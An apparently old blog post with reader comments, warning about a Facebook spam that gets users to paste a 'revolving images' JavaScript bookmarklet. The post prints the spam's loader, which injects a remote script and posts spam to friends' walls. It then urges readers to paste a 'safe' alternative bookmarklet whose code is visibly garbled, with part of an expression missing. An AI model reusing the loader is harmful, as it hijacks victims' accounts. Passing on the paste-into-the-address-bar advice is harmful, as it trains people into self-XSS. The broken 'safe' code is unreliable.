Newest Facebook Spam: Revolving Images

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Spam and Facebook are like synonyms or more like 2 point on a circle. Facebook spams you by sending Emails a hell lot more than required and then people spam Facebook (and hence you) by making some stupid yet ingenious Javascripts which require a a click of the mouse to be turned on and create havock.  After the video in which a teacher nearly kills a boy, a new spam is on the prowl rounds. It is being named “REvolving images” for some very obvious.

The problem with the script is that not only does it start an irritating image revolving thing it promised (which can be thankfully stopped by refreshing the page) it posts the following message on some of the users’ friends’ walls’

Really cool Facebook revolving images. MUST SEE

Clicking the link takes you here (see the image posted above) which tells you to copy paste a JavaScript which will rotate your images (which it does). Obviously, it doesn’t tell you about the spam thing. This is the JavaScript:

[sourcecode language=”javascript”]javascript:(a = (b = document).createElement("script")).src = "//", b.body.appendChild(a); void(0)[/sourcecode]

Don’t use this script under any circumstances. On a different note, I tried using the script.  After copy pasting it and pressing Enter a dialog box popped up

I pressed OK and withing 3 seconds, the aforementioned message was posted on the walls of 7 of my friends (I was using my friend Sonal Verma’s account. You can see the spam message in the image). However, no message has been posted after those 7. Needless to say, I went to my friends’ walls and removed my posts. There is no doubt that this thing is irritating and because of the posting link thing, it has become viral. The damage it does is not lasting but is done very quickly and the user is not notified of any of the link posting that took place using his account.

Unlike other applications, this spam doesn’t even ask for any kind of permission whatsoever.

If you are really interested in doing the image revolving trick use this safe piece of JavaScript code. Copy Paste the code into your browser’s address bar and press Enter. Enjoy. To disable the script, refresh the page. Unlike the one given above (the spam script), this JavaScript is safe and will cause no damage at all.

[sourcecode language=”javascript”]

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position=’absolute’; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px";*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval(‘A()’,5); void(0);[/sourcecode]

UPDATE: You can get rid of this spam now! Click here for how to!

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16 thoughts on “Newest Facebook Spam: Revolving Images

  1. My only real problem with “black hat” comes from some of the tactics for example spamming. I spend a lot of time fighting spam posted on my forums and other sites, as far as I’m concerned those people are abusing my site (my property) for their ends. It’s like someone spray painting advertising on my house, it’s wrong.

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  4. I have found the cure… :). the spam is using upload via email a new product of facebook mobile. It script steel your uploading email and add it to some kind of mailing list. The remedy to this is just refresh your uploading email. To do this go to your facebook mobile page there would be upload via email info on the bottom left corner of the page. click on Find out more then just refresh your uploading email…. Peace 🙂
    P.S. do share it with other victims of this spam

  5. Is there any cure for this spam available? or you just have to wait until it wear off. I noticed it post on your wall via email? how can some one do this? and can we stop it?

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